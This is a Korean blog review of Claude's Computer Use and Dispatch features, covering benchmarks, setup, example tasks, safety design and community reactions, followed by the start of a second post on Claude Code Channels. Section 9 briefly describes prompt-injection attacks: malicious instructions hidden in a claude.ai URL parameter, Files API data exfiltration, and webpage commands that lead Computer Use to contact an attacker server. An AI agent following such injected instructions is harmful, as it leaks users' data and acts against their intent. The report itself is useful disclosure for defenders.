* Vercept 인수 발표(2026.2.25)에서는 Sonnet 4.6의 72.5% 수치만 공식 언급됨. Opus 4.6의 72.7% 수치는 OSWorld 리더보드 기준.
** GPT-5.2의 47.3%는 OpenAI GPT-5.4 발표 페이지에서 공식 비교 수치로 사용된 값(출처: openai.com/index/introducing-gpt-5-4). 일부 소스에서 38.2%를 인용하는 경우가 있으나, 이는 평가 조건(OSWorld 버전)이 다를 수 있다.

약 16개월 만에 14.9% → 72.5%로, 거의 5배 향상되었다. Anthropic에 따르면 Sonnet 4.6은 "복잡한 스프레드시트 탐색과 브라우저 탭을 넘나드는 웹 폼 작성 같은 작업에서 인간 수준의 성능에 접근하고 있다."

Vercept 인수

이 성과 뒤에는 인수가 있었다. Anthropic이 Vercept라는 회사를 사들인 것이다.

공동 창업자: Kiana Ehsani, Luca Weihs, Ross Girshick
핵심 역량: AI 시스템이 사람이 사용하는 소프트웨어를 보고 상호작용하는 기술
배경: Vercept 팀은 "AI 시스템이 인간이 매일 사용하는 소프트웨어 안에서 보고 행동하는 방법"에 대해 수년간 연구해온 팀

이는 2025년 12월의 Bun(JavaScript 런타임) 인수에 이어 두 번째 주요 인수다(2026년 2월 25일). Bun은 Claude Code의 실행 환경으로 쓰이는 고성능 JavaScript 런타임으로, Claude Code가 Bun 실행 파일로 배포되는 이유가 여기에 있다. Anthropic은 "기술적 야심이 일치하고, 안전성과 엄격함이라는 원칙을 공유하는 팀"을 찾는다고 밝혔다.

3. 작동 원리

커넥터 우선, 화면 제어 폴백

Claude가 작업을 받으면 다음 순서로 실행 방법을 결정한다:

커넥터 확인: 해당 작업에 맞는 커넥터(Slack, Google Calendar 등)가 있는지 확인
커넥터 사용: 있으면 커넥터를 통해 직접 API로 작업 수행 (빠르고 정확)
화면 제어 폴백: 커넥터가 없으면 화면을 직접 제어하여 작업 수행

왜 커넥터 우선인가

화면 기반 제어는 API 통합보다 느리고 오류 가능성이 있다. 커넥터를 우선 사용하는 것은 정확도와 속도를 최대화하기 위한 설계 결정이다. 화면 제어는 커넥터가 없는 경우에만 사용되는 폴백 메커니즘이다.

스크린샷 기반 인식과 픽셀 카운팅

실제 동작을 순서대로 보면:

스크린샷 캡처: 현재 화면의 스크린샷을 찍는다
화면 해석: 멀티모달 능력을 활용하여 스크린샷의 내용을 파악한다
픽셀 계산: 클릭해야 할 위치까지 가로/세로 몇 픽셀을 이동해야 하는지 계산한다
액션 실행: 마우스 이동, 클릭, 키보드 입력 등의 액션을 수행한다
결과 확인: 다시 스크린샷을 찍어 결과를 확인하고, 다음 단계로 진행한다

Anthropic은 이 방식을 "플립북(flipbook)"에 비유한다. 연속적인 비디오 스트림이 아니라, 스크린샷을 순차적으로 찍어 맥락을 파악하는 방식이다.

자기 수정 능력

Claude가 막히면 어떻게 할까? Anthropic에 따르면 알아서 다른 방법을 시도한다. 클릭이 안 먹히면 다시 스크린샷을 찍고, 다른 위치를 클릭해본다. Anthropic은 Claude가 장애물에 부딪혔을 때 스스로 수정하고 재시도하는 행동을 관찰했다고 밝혔다.

4. 설정 방법

필수 조건

중요: 구독 및 플랫폼 요구사항

Computer Use를 사용하려면 다음 조건이 필요하다:

macOS — 화면 제어(Computer Use) 기능은 현재 macOS 전용 (Windows, Linux 미지원)
Claude Pro 또는 Max 구독 (Team·Enterprise는 현재 미지원)
Claude 데스크톱 앱이 실행 상태여야 함 (잠자기 모드가 아닌 깨어 있는 상태)

참고: Dispatch(모바일 태스크 할당) 기능 자체는 Windows x64도 지원한다. "coming soon"은 화면 제어(Computer Use)의 Windows 지원에 해당하며, Dispatch와 Computer Use 화면 제어는 별개 기능이다.

⚠️ 단계적 롤아웃 중 — 아직 안 보여도 정상

리서치 프리뷰인 만큼 Pro/Max 구독자 전원에게 동시에 열리지 않고 순차적으로 활성화되고 있다. Dispatch 설정에서 "Claude가 컴퓨터를 제어하도록 허용" 토글이 보이지 않는다면 아직 해당 계정에 배포되지 않은 것이다. 별도 신청 없이 순차 확대되므로 기다리면 된다.

Computer Use를 사용하려면 Dispatch 설정 화면에서 "Claude가 컴퓨터를 제어하도록 허용" 토글을 켜야 한다 (설명: "Claude가 클릭, 입력 및 앱 열기를 수행할 수 있습니다"). 이 토글이 OFF인 경우 화면 제어 기능이 동작하지 않는다. 활성화 후에는 Claude가 커넥터가 없는 앱을 다룰 때 자동으로 화면 제어 모드로 전환된다.

Dispatch 연동

Dispatch 연동은 해당 블로그 참고.. 이미 선행되어 있어야 한다.

Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기

다시 핵심 설정 부분만 가져왔다. 연결 방법은 간단하다.

1. Claude Desktop의 Cowork에서 Dispatch 클릭

2. QR코드 생성

- 앱이 설치 안되어있으면 QR 스캔

- 나의 경우 이미 설치 및 로그인 되어 있어서 휴대폰에 로그인되어 있습니다. 클릭

- 하루만에 Claude가 컴퓨터를 제어하도록 허용 이 생겼다(이전 dispatch 기능출시엔 없던 기능) 이게 computer use 기능인 것 으로 보인다. 체크해 주자.

3. Claude 모바일 앱으로 스캔

4. 페어링 완료 — 폰과 데스크탑이 하나의 대화를 공유

이후에는 폰에서 Claude 모바일 앱을 열면 바로 그 대화에 접근할 수 있다.

- 폰에서 작업하면

- PC의 cowork에서도 동일하게 동기화, 지시가 가능한 것을 볼 수 있다.

그리고

Mac에서 Claude 데스크톱 앱이 실행 중인 상태를 유지한다
모바일 앱으로 Dispatch를 통해 작업을 지시한다
Claude가 Mac에서 화면을 제어하며 작업을 수행한다
작업이 완료되면 데스크톱이나 모바일에서 결과를 확인한다

핵심 포인트

Dispatch는 Computer Use 발표(2026.3.23)와 함께 Claude Cowork와 Claude Code 양쪽에서 동시에 사용 가능해졌다.

5. 활용 시나리오와 프롬프트 예시

아래는 커뮤니티와 공식 데모에서 실제로 시도된 시나리오를 바탕으로 정리했다. 직접 화면 녹화나 스크린샷으로 시연해보기 좋은 것들을 우선으로 뽑았다. 리서치 프리뷰 단계이므로 실제 동작은 다를 수 있다.

직접 해볼 수 있는 시나리오 6선

시나리오	이렇게 시켜봐	Claude가 하는 일	시연 포인트
받은 메일 자동 분류	"받은 편지함에서 '청구서' 또는 'Invoice' 제목인 읽지 않은 이메일을 찾아서 'Invoices' 라벨을 만들고 분류해줘"	Gmail 열기 → 검색어 입력 → 라벨 생성 → 메일 선택 → 분류 → 읽음 처리	60초 내 결과, Before/After 스크린샷으로 효과 즉시 확인 (출처: Anthropic 공식 데모 시나리오)
Downloads 폴더 정리	"내 Downloads 폴더에 있는 파일들을 이미지·문서·영상·기타 폴더로 분류해줘"	Finder 열기 → 파일 확장자 파악 → 폴더 생성 → 분류 이동	어느 Mac에나 Downloads가 있음. 전후 비교 스크린샷 찍기 쉬움 (커뮤니티 공통 시나리오)
반려동물 사진 분류	"(고양이 사진 첨부) 이 고양이가 우리 냥이야. '사진' 폴더에서 이 고양이 사진만 골라서 'Kitty' 폴더로 옮겨줘"	레퍼런스 이미지 학습 → 폴더 탐색 → 시각 매칭 → 분류 이동	100% 정확도 사례 보고됨. 결과가 시각적으로 명확해서 영상으로 담기 좋음 (출처: aiblewmymind.substack.com — 10개 시나리오 실험)
쇼핑 리서치 자동화	"네이버 쇼핑에서 '무선 키보드' 10만원 이하로 검색해서 평점 높은 상위 5개 제품 이름·가격·평점을 표로 정리해줘"	브라우저 열기 → 검색 → 스크롤/탐색 → 데이터 수집 → 표 작성	내가 직접 하면 10분 걸리는 걸 지켜보는 재미. 완성된 표 스크린샷이 결과물 (Substack 랭킹 스크레이핑 사례 응용, 출처: Artificial Corner)
웹 정보 수집 체인	"Hacker News 첫 페이지에서 댓글 100개 이상인 글 3개를 찾아서 제목과 링크를 메모 앱에 정리해줘"	브라우저 → Hacker News 열기 → 댓글 수 확인 → 메모 앱 전환 → 입력	앱 간 전환을 실시간으로 볼 수 있어 라이브 데모에 적합. 결과 1~2분 내 도출 (출처: Glama.ai — HN + Google 체인 사례 응용)
Dispatch: 폰에서 지시, Mac이 실행	(폰 Claude 앱에서) "바탕화면의 발표자료.pptx를 PDF로 변환해서 오늘 오후 3시 캘린더 일정에 첨부해줘"	파일 찾기 → 앱 열기 → PDF 내보내기 → 캘린더 앱 → 일정 찾기 → 파일 첨부	폰으로 지시 → Mac으로 돌아오면 완료. Anthropic 공식 출시 데모와 동일한 시나리오 (출처: Anthropic 공식 블로그, CNBC 보도)

직접 시연 팁

Mac의 QuickTime Player로 화면 녹화를 시작한 뒤 Claude에게 지시하면 된다. 처음엔 앱 접근 권한 허용 팝업이 뜨는데, 이것도 영상의 일부로 담으면 'Permission-First' 구조를 자연스럽게 설명할 수 있다. 작업 속도는 기대보다 느릴 수 있으니 간단한 작업부터 시작하는 것을 권장한다.

ex) 내 맥북 바탕화면에 불필요한 캡쳐 파일들을 정리 하는게 목적

- 핸드폰에서 요청

- 요청 직전의 맥북 화면과, 정리 목푶 이미지들

- 권한 요청이 뜬다 (폰, 맥북 모두 노출) > 권한 허용을 해주자.

ex) 휴대폰

ex) 맥북

- cowork 재시작을 해주자.

- 삭제 라는 작업은 당연히 위험하니 권한 요청이 필요 할 것 이다.

ex) 처리 과정

- 크롬이 Browser를 처리할때처럼 주황 테두리로 감싸지며, Claude is using your computer 라는 문구가 노출된다.

- 코워크를 화면에서 잠깐 치워두고, 모든 사진을 선택하는모습

- 잘 삭제한 후 레포팅 해준다.

적합한 작업 vs 아직 피해야 할 작업

적합한 작업	아직 피해야 할 작업
파일 정리, 이름 변경, 폴더 분류	은행/결제 등 금융 거래
이메일/문서 요약 및 보고서 초안	비밀번호, API 키 등 민감 정보 입력
브라우저에서 정보 수집 및 리서치	정밀한 드래그 앤 드롭이 필요한 디자인 작업
IDE에서 코드 수정, 테스트, PR 제출	실시간 알림에 즉각 반응해야 하는 작업
반복적인 데이터 입력/수집	시간에 민감한 주식 거래 등
	법률 문서 또는 계약서 처리
	의료·건강 정보 처리

속도에 대한 기대치

커넥터를 통한 작업(Slack 메시지 전송 등)은 수 초 내에 완료되지만, 화면 제어 기반 작업은 스크린샷 캡처 → 분석 → 액션의 사이클을 반복하므로 상대적으로 느리다. 공식적인 속도 수치는 발표되지 않았지만, API 대비 화면 제어가 느리다는 점은 Anthropic도 인정한 사항이다.

6. 안전성과 보안

Permission-First 접근

Anthropic은 Computer Use를 Permission-First(허가 우선) 접근 방식으로 설계했다:

앱별 승인: Claude가 새로운 앱에 접근하기 전에 반드시 사용자의 허가를 요청한다
즉시 중단: 사용자가 언제든지 Claude의 작업을 중단할 수 있다
접근 제한: 일부 앱은 안전상의 이유로 기본적으로 접근이 차단되어 있다

프롬프트 인젝션 방어

프롬프트 인젝션은 Computer Use에서 특히 중요한 보안 이슈다. Claude가 인터넷에 연결된 화면의 스크린샷을 해석하기 때문에, 악의적인 지시가 포함된 콘텐츠에 노출될 수 있다.

Anthropic의 대응:

전용 분류기(Classifier) 배치: 화면에 표시된 악의적 텍스트가 Claude의 지시를 덮어쓰려 할 때를 감지하는 전용 분류기를 운용한다. Anthropic은 "classifiers"와 "safeguards"라는 용어를 공식적으로 사용하며, Computer Use 세션 중 이를 통해 악의적 사용을 탐지하고 방어한다
안전 장치 레이어: 분류기 외에도 다층적인 안전 장치를 적용하여 프롬프트 인젝션 시도를 차단한다

주의: 리서치 프리뷰 주의사항

Anthropic은 리서치 프리뷰 기간 동안 다음을 권고한다:

신뢰할 수 있는 앱부터 시작하기
민감한 데이터를 다루지 않기
안전 가이드라인 확인: support.claude.com/en/articles/14128542

AI Safety Level 평가

Anthropic은 2024년 10월 Computer Use 첫 공개 당시, Responsible Scaling Policy(책임 있는 확장 정책)에 따라 이 기능을 ASL-2로 평가했다. ASL-2는 현재의 보안 체계로 위험을 관리할 수 있는 수준을 뜻한다. RSP는 모델 단위가 아닌 역량 임계값 기준으로 안전 등급을 판단한다.

왜 지금 출시했는지에 대해서도 Anthropic은 솔직하다 (2024년 10월 기술 블로그):

"아마도 지금, 모델이 여전히 ASL-2 수준의 보호만 필요한 시점에 Computer Use를 도입하는 것이 더 나을 것이라고 판단합니다. 이렇게 하면 위험이 너무 높아지기 전에 안전 이슈에 대응할 수 있습니다."
— anthropic.com/news/developing-computer-use

7. 현재 한계와 솔직한 평가

Anthropic이 인정한 제약사항

Anthropic은 과장 없이 한계를 인정한다. 공식 블로그 원문:

"현재 최고 수준임에도 불구하고, Claude의 Computer Use는 여전히 느리고 오류가 잦습니다."
— anthropic.com/news/developing-computer-use

구체적인 제약사항:

복잡한 작업: 복잡한 작업은 여러 번 시도해야 성공하는 경우가 있다
속도: 화면 기반 조작은 직접 API 통합보다 느리다
일부 앱 제한: 안전상의 이유로 기본적으로 접근이 차단된 앱이 있다

플립북 방식의 한계

스크린샷 기반(앞서 설명한 "플립북 방식")이라서 생기는 태생적 한계도 있다:

짧은 알림 놓침: 연속적인 비디오 스트림이 아닌 스크린샷 기반이므로, 짧게 나타났다 사라지는 알림이나 액션을 놓칠 수 있다
일부 동작 제한: 2024년 첫 공개 당시에는 드래그·줌 등이 미지원이었다. 2025년 1월 업데이트(computer_20250124)로 스크롤과 드래그가 추가 지원됐다. 줌(zoom)은 2025년 11월 업데이트(computer_20251124)에서 추가 지원됐다
예기치 않은 행동: 데모 녹화 중 Claude가 코딩 작업을 중단하고 갑자기 옐로스톤 국립공원 사진을 구경하기 시작한 적도 있다

에피소드: 녹화 사고

Anthropic은 재미있는 실수 사례도 공유했다. Computer Use 데모 녹화 중에 Claude가 실수로 화면 녹화를 중지하는 버튼을 클릭해서 모든 녹화 영상이 날아가 버렸다고 한다. AI가 스스로 화면을 조작하는 것이 얼마나 예측 불가능할 수 있는지를 잘 보여주는 일화다.

플랫폼 제한

현재 가장 큰 제약은 macOS 전용이라는 점이다. Windows나 Linux 사용자는 사용할 수 없다. Anthropic은 초기 사용자 피드백을 바탕으로 플랫폼 지원을 확대할 계획이라고 밝혔다.

8. 경쟁 구도

OpenAI, Google과의 데스크탑 제어 경쟁

컴퓨터를 직접 조작하는 AI — 이 분야에서 OpenAI와 Google도 뛰고 있다. "대화만 잘하는 AI"에서 실제로 화면을 만지는 AI로 넘어가는 건 업계 전체의 방향이다.

항목	Anthropic (Claude)	OpenAI	Google
데스크탑 제어	출시 (리서치 프리뷰, 2026.3)	출시 (Operator/CUA, 2025.1~)	출시 (Project Mariner, 리서치 프로토타입, AI Ultra 구독자 대상, 미국)
OSWorld 성능	72.5% (Sonnet 4.6)	47.3% (GPT-5.2, 2025.12 기준)	미공개
모바일 연동	Dispatch (폰→Mac)	OpenClaw (오픈소스 자율 AI 에이전트, Peter Steinberger 창시 — OpenAI가 2026년 2월 Steinberger를 영입)	미발표
지원 플랫폼	macOS	-	-

비교표 참고사항

위 비교표는 2026년 3월 기준이며, AI 업계는 빠르게 변하고 있다. 경쟁사 정보는 공식 발표가 제한적이어서 불완전할 수 있다. OSWorld 점수는 Anthropic의 Vercept 인수 발표에서 인용한 수치이며, 평가 조건이 동일한지는 별도 확인이 필요하다.

Anthropic이 먼저 출시한 이유

데스크탑 제어를 Anthropic이 먼저 출시할 수 있었던 이유가 있다:

2024년 10월부터 퍼블릭 베타로 개발자 피드백을 수집해왔다
Vercept 인수로 컴퓨터 비전 + 인터랙션 전문성을 확보했다
리스크가 관리 가능한 현 시점에 출시하여 실전 경험을 쌓는 전략적 판단

9. 커뮤니티 반응: 열광, 불만, 그리고 보안 경고

Computer Use 출시 이후 빠른 속도로 반응들이 쏟아졌다. 전반적인 흐름은 "혁신적이지만 아직 갈 길이 멀다"로 요약된다. 플랫폼별 온도 차가 컸고, 실사용 경험과 보안 우려가 뒤섞인 복잡한 그림이 그려졌다.

"새로운 세계" vs 사이버보안 주가 폭락

발표 직후 X에서는 감탄과 충격이 동시에 터져 나왔다.

"Claude can now use your computer exactly like you do. I'll say it again: In 2026, an AI can use a computer exactly like a human. We are in a whole new world."
(이제 Claude는 사람처럼 컴퓨터를 직접 다룰 수 있게 되었습니다. 다시 강조하자면, 2026년 현재 AI는 인간처럼 컴퓨터를 조작할 수 있는 수준에 도달했습니다. 말 그대로 새로운 시대가 시작된 것입니다.)
— @daniel_mac8 (X, 2026.3.23)

개발자들의 실사용 후기도 빠르게 퍼졌다. "테스트 자동화, PR 작성, 릴리스 노트까지 Claude가 다 해줬다"는 류의 경험담이 X에 이어졌고, 특히 Dispatch와 결합한 "자리 비운 사이 작업 완료" 시나리오가 눈길을 끌었다.

한편 같은 시기, Anthropic의 Claude Code Security 출시(2026년 2월)를 계기로 사이버보안 관련 기업 주가가 큰 폭으로 하락했다는 보도가 나왔다. CrowdStrike 이틀간 누적 약 -18%(2/20 -8%, 2/23 -10.6%), Palo Alto Networks 약 -7% 하락이 보고됐으며, AI가 보안 업무를 자동화할 경우 기존 보안 소프트웨어 시장이 타격을 받을 수 있다는 우려가 반영된 것이다. Computer Use 출시 이후에도 이 우려는 지속됐다.

한편 Anthropic은 3월 13~27일까지 비피크 시간대(미국 동부 기준 평일 오후 2시 이후 + 주말 종일)에 사용량 한도를 2배로 늘리는 프로모션을 진행했다. Computer Use 출시(3월 23일)보다 앞서 시작된 프로모션이지만, 토큰 소모가 큰 Computer Use 사용자에게도 도움이 됐다.

실사용 체험기

DEV Community에서 화제가 된 글이 있다. 제목부터 강렬하다: "지하철에서 Claude에게 문자를 보냈더니, 돌아오니 슬라이드 덱이 완성되어 있었다."

QR 코드 스캔으로 페어링하는 데 60초도 안 걸렸다
폰에서 "어제 회의록으로 슬라이드 만들어줘"라고 보내고 20분 후 사무실에 도착하니 완성된 프레젠테이션이 바탕화면에 있었다
로컬 파일(문서, 코드 등)은 Mac 밖으로 나가지 않고, Claude가 Mac에서 직접 파일을 생성·수정한다
하루 종일 하나의 대화 스레드가 유지되어 오전에 분석한 내용을 오후에 "아까 그 분석에서 이상값 뽑아줘"라고 이어갈 수 있었다

(출처: DEV Community, 2026.3.21)

기술적 정확도 보충

"파일이 기기를 떠나지 않는다"는 로컬 파일(문서, 코드 등)의 관점에서는 맞다. 파일 자체는 Anthropic 서버로 업로드되지 않는다. 다만 스크린샷은 Anthropic 서버의 Claude 모델로 전송되어 처리된다. 비밀번호·금융 정보 등 민감한 내용이 화면에 표시되는 상황을 피해야 하는 이유다.

사용량 한도 위기와 실험 사고

r/ClaudeCode(주간 기여자 4,200명+)에서는 기술적 성능에는 대체로 동의하면서도, 운영상 문제들이 격렬하게 논의됐다.

사용량 한도 위기

"Claude Is Dead to Me"라는 제목의 스레드가 큰 공감을 얻었다. Computer Use가 매 액션마다 스크린샷을 캡처·분석하기 때문에 토큰 소모가 일반 대화보다 훨씬 크다는 것이 핵심 불만이었다. Pro 플랜($20/월) 사용자들은 "1시간 작업에 하루 한도 소진"을 경험했다고 보고했다.

11GB 파일 삭제 사건

한 사용자가 "디스크 정리를 해달라"고 요청했더니 Claude가 맥락을 오해해 11GB 분량의 프로젝트 파일을 삭제했다는 보고가 올라왔다. 해당 사용자는 Time Machine 백업으로 복구했지만 "Computer Use에는 반드시 명확한 경계 설정이 필요하다"고 강조했다. 이 사건은 Permission-First 설계의 중요성을 실감케 하는 사례로 커뮤니티에 널리 공유됐다.

METR 등 AI 평가 기관들이 에이전트 자율성을 측정하는 방식에 대한 관심도 높아졌다. 커뮤니티에서는 "아직 보조 도구지 완전한 자율 에이전트가 아니다"라는 현실적인 시각과, "출발점으로는 인상적"이라는 기대감이 공존했다.

Claude vs 다른 AI 에이전트

항목	Claude Computer Use	Operator (OpenAI)
인터페이스	Mac 데스크톱 앱 (네이티브)	브라우저 기반 웹 태스크 특화
접근 방식	스크린샷 → 추론 → 액션	DOM/웹 요소 직접 조작
지원 OS	macOS 전용 (현재)	웹 브라우저 (OS 독립)
강점	로컬 앱 전반 제어, Dispatch 폰 연동	웹 쇼핑·예약 등 온라인 태스크
커뮤니티 평가	"더 범용적, 하지만 비쌈"	"웹 특화에서 더 빠르고 안정적"

⚠️ 위 비교는 Reddit 커뮤니티 사용자 의견을 종합한 내용으로, 공식 벤치마크가 아니다.

Hacker News: "비전은 형편없는 인터페이스다"

기술 비판에 날카로운 HN 커뮤니티의 반응은 가장 냉정했다.

"Vision is a crappy interface to a computer. All these systems, no matter how good the underlying model gets, are fighting against the UI/UX, not with it. 90% of the complexity is edge cases: pop-ups, CAPTCHAs, permission dialogs, unexpected loading states."
(화면을 보고 판단하는 Vision 방식은 컴퓨터를 조작하는 인터페이스로는 비효율적입니다. 기반 모델의 성능이 아무리 좋아져도, 현재 방식은 UI/UX를 잘 활용하는 구조가 아니라 그 불편함을 억지로 버텨내는 구조에 가깝습니다. 실제 어려움의 대부분은 예외 상황 처리에 있는데, 팝업창이나 CAPTCHA, 권한 요청창, 비정상적으로 보이는 로딩 상태 같은 것들이 대표적입니다.)
— HN 상위 댓글 (2026.3.23, 대규모 찬성)

"The most interesting thing about Claude Computer Use isn't what it can do — it's how it fails. It's like watching someone who grew up without computers trying to use one. The gaps reveal exactly where human intuition fills in."
(Claude Computer Use의 진짜 흥미로운 포인트는 성공 사례보다 실패 방식에 있습니다. 그 실패를 보고 있으면, 마치 컴퓨터 사용 문화에 익숙하지 않은 사람이 낯선 기계를 더듬거리며 다루는 모습처럼 느껴집니다. 그리고 바로 그 서툰 지점들을 통해, 평소에는 당연하게 여겼던 인간의 직관이 실제로 얼마나 많은 빈틈을 메우고 있었는지가 선명하게 보입니다.)
— HN 상위 댓글 (2026.3.23)

HN에서 특히 주목받은 프로젝트는 오픈소스 브라우저 자동화 도구 Cerebellum과 macOS 키보드 트리거 기반 인터페이스 Action이었다. 커뮤니티는 Claude가 직접 제공하는 기능보다, 이를 기반으로 만들어지는 파생 프로젝트들에 더 많은 관심을 보였다. "API를 공개하면 커뮤니티가 나머지를 한다"는 Anthropic의 전략이 이미 작동하고 있다는 평가였다.

"Claudy Day": Claude 프롬프트 인젝션 취약점 공개 (2026.3.18~19)

Computer Use 출시 직전인 2026년 3월 18~19일, 보안 기업 Oasis Security가 Claude 관련 취약점 3건을 연달아 공개했다. 보안 커뮤니티는 이를 "Claudy Day"라 불렀다. 공식 CVE 번호는 아직 부여되지 않았다.

취약점 1: URL 파라미터를 통한 보이지 않는 프롬프트 인젝션 — claude.ai/new?q= 파라미터에 악성 지시를 삽입한 URL로 사용자를 유도하면, 사용자 모르게 Claude가 해당 지시를 실행할 수 있다. Computer Use 환경에서는 파일 시스템 접근으로 연결될 수 있어 위험도가 높다.
취약점 2: Files API를 통한 데이터 유출 — Claude의 Files API를 악용해 사용자의 민감한 데이터를 외부로 유출할 수 있는 경로가 발견됐다. Anthropic은 패치를 배포했다.
취약점 3 (참고): ZombAIs 연구 — 보안 연구자 Johann Rehberger(embracethered.com)가 2024년 10월 발표한 별도 연구로, 악성 웹페이지를 탐색하는 Claude Computer Use가 콘텐츠에 숨겨진 명령을 따라 공격자 서버에 접속하는 흐름을 시연했다. Simon Willison이 자신의 블로그에서 이 연구를 인용·소개해 널리 알려졌다. "LLM은 자신의 컨텍스트에 들어오는 지시를 출처와 무관하게 따르는 경향이 있다"는 근본적 한계를 드러낸 사례다.

보안 연구자들은 "Computer Use처럼 AI가 실제 시스템을 제어할수록 프롬프트 인젝션의 파급력이 커진다"고 경고했다. Anthropic은 classifiers와 safeguards를 통해 이를 완화하고 있으나, 공격 기법은 계속 진화하는 만큼 주의가 필요하다.
(출처: Oasis Security 블로그, 2026.3.18)

한국 커뮤니티

국내 테크 미디어: AI타임스, ZDNet 코리아 등에서 기능 소개 기사가 나왔으며, 전반적으로 "실험적 사용에는 적합하나 기업 프로덕션 수준은 아직"이라는 톤
클리앙 등 커뮤니티: Max 플랜(월 $200, 약 30만원)의 사용량 정책에 대한 비판. "하루에 여러 번 짧게 쓰면 월 중순에 한도 도달"
전반적 기대감: 빌 게이츠의 "5년 안에 컴퓨터 사용 방식이 바뀐다"에 대해 "5년도 길다"는 반응

시장 반응 종합 — 장점과 한계

장점 (실사용자 기반)	한계 (실사용자 기반)
Dispatch로 폰 → Mac 원격 작업 가능	macOS 전용 (Windows·Linux 미지원)
파일 자체는 Mac 밖으로 나가지 않음	스크린샷은 Anthropic 서버 전송 (개인정보 주의)
테스트 실행, PR 작성 등 반복 작업 자동화	토큰 소모가 일반 대화의 10~20배
지시 언어 자유롭고 자연어로 충분	팝업·CAPTCHA 등 예외 상황에서 자주 멈춤
복잡한 멀티앱 워크플로우 연결 가능	직접 작업보다 느린 경우 많음 (스크린샷 루프)
Permission-First 설계로 기본 안전성 확보	프롬프트 인젝션 등 보안 위협 여전히 존재
오픈소스 파생 프로젝트 생태계 형성 중	복잡한 작업은 여러 번 재시도 필요, 아직 완전 자율 에이전트 수준 아님

위 내용은 커뮤니티 사용자 경험을 종합한 것이며, 개인 환경에 따라 다를 수 있습니다.

10. 구독 플랜

Computer Use는 다음 구독 플랜에서 사용할 수 있다:

토큰 소모 참고

Computer Use는 매 동작마다 스크린샷을 캡처하고 분석하기 때문에, 일반 텍스트 대화보다 토큰 소모가 크다. Pro 플랜의 사용량 한도가 평소보다 빠르게 소진될 수 있으므로 참고하자.

플랜	Computer Use	Dispatch
Free	X	X
Pro	O (리서치 프리뷰)	O
Max	O (리서치 프리뷰)	O
Team / Enterprise	X (Computer Use 기능은 Pro/Max 전용)	O (Cowork 앱 자체는 지원)

11. 결론

Claude Computer Use는 "말만 잘하는 AI"에서 실제로 화면을 조작해서 일을 처리하는 AI로 넘어가는 시도이다.

주요 내용:

커넥터 우선, 화면 제어 폴백: Slack이나 Calendar 같은 커넥터가 있으면 먼저 사용하고, 없으면 화면을 직접 제어
Dispatch와의 시너지: 폰에서 지시하면 Mac의 Claude가 화면을 띄워 작업 수행
OSWorld 72.5%: 인간 수준(72.36%, OSWorld 공식)에 접근하는 벤치마크 성능
Permission-First: 앱별 승인, 즉시 중단, 프롬프트 인젝션 방어
아직 초기 단계: macOS 전용, 복잡한 작업은 재시도 필요, 화면 기반이라 느림

"리서치 프리뷰"로 낸 건 의도적이다. 완벽해질 때까지 기다리기보다, 실제 사용자한테 부딪혀보면서 고치겠다는 방식이다. Cowork도 그렇게 시작했다.

빈 책상 위 컴퓨터가 혼자 화면을 띄우고 일하는 광경은 확실히 인상적이다. 다만 지금 당장은 믿을 수 있는 앱에서, 민감하지 않은 작업부터 시도해보는 게 맞다.

참고 자료

공식 블로그: claude.com/blog/dispatch-and-computer-use (2026.3.23)
제품 페이지: claude.com/product/cowork
Vercept 인수: anthropic.com/news/acquires-vercept
Computer Use 개발 과정: anthropic.com/news/developing-computer-use
안전 가이드: support.claude.com/en/articles/14128542

Claude Channels vs OpenClaw - 텔레그램으로 Claude Code 제어하기(Anthropic이 OpenClaw에 선전포고?)

갓대희 — Tue, 24 Mar 2026 22:40:05 +0900

안녕하세요! 갓대희 입니다.

2026년 3월 20일, Anthropic이 Claude Code v2.1.80에 Channels를 리서치 프리뷰로 추가했다. 이어서 v2.1.81에서 Permission Relay까지 더해졌다. 텔레그램이나 디스코드에서 메시지를 보내면 로컬에서 돌아가는 Claude Code 세션이 그 메시지를 받아 코드를 작성하고, 같은 채팅 앱으로 결과를 돌려준다.

커뮤니티에서는 이를 두고 "OpenClaw 킬러"라고 부른다. 이미 24만 7천+ 스타(3월 초 기준)를 찍은 오픈소스 프로젝트 OpenClaw가 개척한 영역에 Anthropic이 공식적?? 본격적?? 으로 뛰어든 것이다.

오늘은 이 두 가지를 직접 비교해보려 한다. 공식 문서 기반으로 아키텍처, 보안, 셋업, 지원 플랫폼과 관련된 내용을 알아보자.

Channels란 무엇인가
- Channel = MCP 서버
- Push vs Pull 패러다임
- One-way vs Two-way 채널
OpenClaw란 무엇인가
- 탄생 배경과 성장
- 서버 기반 Always-on 아키텍처
아키텍처 비교: 근본적인 차이
- Channels: 로컬 MCP 이벤트 수신
- OpenClaw: 서버 기반 상시 실행
- 핵심 차이점 비교표
보안 비교
- Channels: Pairing Code + Allowlist
- OpenClaw: 커뮤니티 기반 + 보안 이슈
- 보안 비교표
지원 플랫폼 비교
Channels 셋업 가이드
- 요구사항
- Telegram 설정 (5분)
- Discord 설정 (10분)
- Fakechat으로 로컬 테스트
커스텀 채널 만들기
- Webhook Receiver 예제
실전 사용 사례
- MacStories의 런치 나이트 테스트
- Permission Relay: 원격 승인
제한사항과 주의사항
커뮤니티 반응과 실전 팁
- 개발자 반응 하이라이트
- 실전 팁 7가지
- 커뮤니티 프로젝트
결론: 어떤 것을 선택할까

1. Channels란 무엇인가

Claude Code Channels는 2026년 3월 20일 v2.1.80에서 리서치 프리뷰로 출시되었고, 이어서 v2.1.81에서 Permission Relay가 추가된 Anthropic 공식 기능이다. 핵심은 간단하다 — 외부 시스템의 이벤트를 실행 중인 Claude Code 세션에 밀어 넣는 것이다.

(출처: Claude Code GitHub Releases — v2.1.80 changelog: "Added --channels (research preview)", v2.1.81 changelog: "Added --channels permission relay")

(출처: Channels reference - Claude Code Docs)

Channel = MCP 서버

Channel의 정체는 MCP(Model Context Protocol) 서버다. MCP는 외부 도구와 데이터 소스를 LLM에 구조적으로 연결하기 위한 오픈 표준 프로토콜이다. Claude Code와 같은 머신에서 실행되며, stdio를 통해 통신한다. Claude Code가 이 서버를 서브프로세스로 스폰하고, 채널은 외부 시스템과 Claude Code 세션 사이의 다리 역할을 한다.

공식 문서의 정의를 그대로 옮기면:

"A channel is an MCP server that pushes events into a Claude Code session so Claude can react to things happening outside the terminal."
(Channel은 MCP server로, Claude Code session 안으로 event를 push해서 terminal 바깥에서 일어나는 일에도 Claude가 반응할 수 있게 해주는 기능입니다.)

채널 서버가 되기 위해 필요한 세 가지 조건:

claude/channel capability를 선언하여 Claude Code가 알림 리스너를 등록하게 한다
notifications/claude/channel 이벤트를 발생시킨다
